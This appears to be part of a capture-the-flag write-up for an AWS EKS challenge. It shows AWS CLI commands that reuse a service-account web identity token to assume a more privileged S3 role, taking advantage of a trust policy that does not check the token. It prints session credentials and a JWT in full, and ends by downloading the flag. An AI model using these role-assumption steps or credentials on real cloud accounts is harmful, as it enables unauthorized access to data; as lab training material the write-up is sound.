export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEF4aCXVzLXdlc3QtMSJHMEUCID4vygKHnQl2zp4cHMKWrkG3NBx3bIgsLH/UNOQWpPqmAiEA2FqhUwoEU5HLIwt4rpQ/WwaDQWuMmRF3C33kVS5epfgqxAQIl///////////ARAAGgw2ODg2NTUyNDY2ODEiDDD2YfIyjAhzwcHU2CqYBElY89dnewlWGLwNCjtxKvAbx9OWSvXF3OkGXC7QJvq7w5Lod+oUiAdyYPRhNreIc06XU/LuCZUEXtgbaQbKmN84l/7tbT7OVXTXbGxc4knhykkRdchvSl7vPAmUCQJxSUykGtxNAR4PMR3LkRtM1MPjed6BgVEVL2IZB+AjmjQ/tMteQdVgfdbDKcui8GWz/eu3zS5x0lGaSO6HUkA7Punhn8WMSpkQX4vBDSDVHZKnX2z/T1WzIAjiGOLf92TvQrTX4xOrMAjwTT+ZZ99OFrcpoC/LkU+olPya6IHdHY6IYTMZXnOzZptUjshIN1+aitrfX9CvtWboXnDzbKNZxgxTmOZOPBQ/Vzl9PNQ35eJw7tfibkcwSiPQ2TxTrDBCrvLP8X13CMXPSIZVNDWu4zjqNAD7FGyMQ4wyIg59GAdJ3CyW2VEi0GNAd+p6psDscI/ch7YOKfmyXAu2PtGL28x+lfnOsPNvmCUquNwBgxi+NvJcFUyaZYJyH62+lohDhhvh9dW2Xdlg7vECwJORahZPujpvbJ0TSFPu7TQnFBiY7dxURuUY1+5ErnMl47DZMcK2SoTFW4FeP+I8eERjGUH/fEziUfRZmRBh//A328JXSnDeaeLnzB2CuMvtns61InSX/wt12cD/8+/hWQ6jTPP9K6cLSEX0KjQutLV8yMMB5D4P36cuuHf9n1V0LqD15oLcNG1fTVlcMLGzpaoGOpUBfIOL7CQa42ypxEdhCWkbGQOnXIUMCqnWQd/KgPC/w6PJXiSyJhfJmN0XXFRqY29HZEZH4En/YsRFHoH9xM8Zv4U9tL0fWfgb3ELt9xbgoDm5mVl995s5vihAfaNaF4CVmbAx58jat4+L8AytkFKEQ22jb8a+4ICWlRa/3jjvl1IaFUTIZWGZ6wKyty8gU0hSPiI0x78=
aws sts get-caller-identity
# {
# "UserId": "AROA2AVYNEVM6G5PAIL7U:challenge5",
# "Account": "688655246681",
# "Arn": "arn:aws:sts::688655246681:assumed-role/challengeTestRole-fc9d18e/challenge5"
# }
aws s3 ls
# An error occurred (AccessDenied) when calling the ListBuckets operation: Access Denied
Sadly that user does not have any permissions 🥲
But luckily the trust policy on the IAM does not check the token. Instead of using the debug role specify the S3 role.
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role --role-session-name challenge5-s3 --web-identity-token 'eyJhbGciOiJSUzI1NiIsImtpZCI6IjZkMjNjYTkwMGI2MTVhYWJmNTBmYWJlZDc0NzA1OTNiNjIyMDA5NmYifQ.eyJhdWQiOlsic3RzLmFtYXpvbmF3cy5jb20iXSwiZXhwIjoxNjk5MzA5MjQ5LCJpYXQiOjE2OTkzMDU2NDksImlzcyI6Imh0dHBzOi8vb2lkYy5la3MudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vaWQvQzA2MkMyMDdDOEY1MERFNEVDMjRBMzcyRkY2MEU1ODkiLCJrdWJlcm5ldGVzLmlvIjp7Im5hbWVzcGFjZSI6ImNoYWxsZW5nZTUiLCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVidWctc2EiLCJ1aWQiOiI2Y2I2MDI0YS1jNGRhLTQ3YTktOTA1MC01OWM4YzcwNzk5MDQifX0sIm5iZiI6MTY5OTMwNTY0OSwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmNoYWxsZW5nZTU6ZGVidWctc2EifQ.UIt0jBu9uGxqwXb0UYZKoOO9AqvwzEht2exCbEN7p4v8KllN9OKDBLXsa8hFRQSzi2asxvO8zavUZraQSHVlXgytYJGQfhPaA6swzL6ZCpp0wZD37OqaO4HRQSYzcnYDzrofWWstBrQ7IY0OIwEgPZXqQXe79DY3v5etOEjltUvQJ6AnEIky180Griv_mWRsA87NYbFL_PxNVTIf3JqJz1ZwPsajNaEO3TXQT6Degkfw25nycewFLzZ-IrtTkblL77tLgtCe41dNXjPqEpg_PXtv8s-fBSgaNFk1CjVVSXjM7OLplAQbQKbvKzS-OekKkyEhKw3zOHHJc-XkTRls7A'
export AWS_ACCESS_KEY_ID=ASIA2AVYNEVM4ZT2W3OX
export AWS_SECRET_ACCESS_KEY=BW1ahcj1LFRX/ARHBhp3DF07II4jhpZeU0o19Og1
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEF4aCXVzLXdlc3QtMSJHMEUCIQC2UNR3oaFJ7+IwDFaSoK9ab3A6B4qRNjulrq6bx9Sc0gIgdet4DKUj8F0IiqljL9ymGEvouLKa9suVUQDENZkCSEwqxwQIl///////////ARAAGgw2ODg2NTUyNDY2ODEiDPsF2Tm1tg4njZZMDiqbBI7+kdOUECKU6EkGSFn8dDVFsGwT6pEkVe8Ih5QYC9q0AqjvjBWH1XEK9IuVKOFQl0o2L9GcFpwqmAaapedJP52/uGBKXFBLGvqevRsnZkc1CnNvgztYmi+UCBWTB0bn2w9XJqX5sNEKEQIkXExcYzb37kdfrU+ulseNaJBra4DqSS9QzjfTs8VqyZhm3/1N2nEn95kp+bp78CDp5Y0drvtAMYlfzhIL2SW7iO7zEmuj8KFsVflAU5bkketCLYWZlA1Uyg0uCKY97oVkKqSlD2w8U6DK3EkqS2EBqJrF2vUdKoDTa2rFRgmo9pLeevwQDmX59vR8tGyJ0ZXeUv1c7+tgDRcPokOb3ojPSRNOTk5TBoWJqyJfP8G1JGgS6RkYQvprKPj+PysIQJNGR2yCVmq+z6fj3duMji4T8F2zbWFZAJNCZi8xwgenjKdMlxIUdQKvdDlGd0dLTJmI7rnVlcbu2szTLXosyhbHWYupNfo7laPFCRCD4x+s8tiwoHFwoSEz8xN2hUfqdBxCB1S84DgNlIQloUVtkh2fobB/USbbU3s3KPTLJFydjmKU7YOcHjiP78iRSt9z7BllB8hKFBVxHD6tvdWJmndEd8cYrOueai5Sj2P/1+8DsykQY0uXKNgBimz6dDqpZ793+Bk5WGqQu1jlgQwqG6DATqcHHvleIG7CAsPLRlhPHr8gNqEqlgUYMiuGSDrm2VkDMLy2paoGOpUB1+r2i88tYrml7bpZLu3PwZa5eA8iSO4W0jvHnFbBnd+fS1gzpgAC/xuL5KV1PYftYU7kZpzmk4xdhzpvWL2Qzbu5qW9Ag5dkEZgOyRd5Jhcaw1sNPubpZrnduf2D5wysDosdhRuC11Su1jqbRrvEQoeIs8wcbL387b31LcqodBVVdCsgz4BAJf/FTLVpxXpXemQEvmk=
aws sts get-caller-identity
# {
# "UserId": "AROA2AVYNEVMZEZ2AFVYI:challenge5-s3",
# "Account": "688655246681",
# "Arn": "arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/challenge5-s3"
# }
Now our identity is the role that can view S3 buckets!
aws s3 ls
# An error occurred (AccessDenied) when calling the ListBuckets operation: Access Denied
# What did we do wrong, looks at policy...
aws s3 ls challenge-flag-bucket-3ff1ae2
# 2023-11-01 08:27:55 72 flag
aws s3 cp s3://challenge-flag-bucket-3ff1ae2/flag .
cat flag
# wiz_eks_challenge{w0w_y0u_really_are_4n_eks_and_...}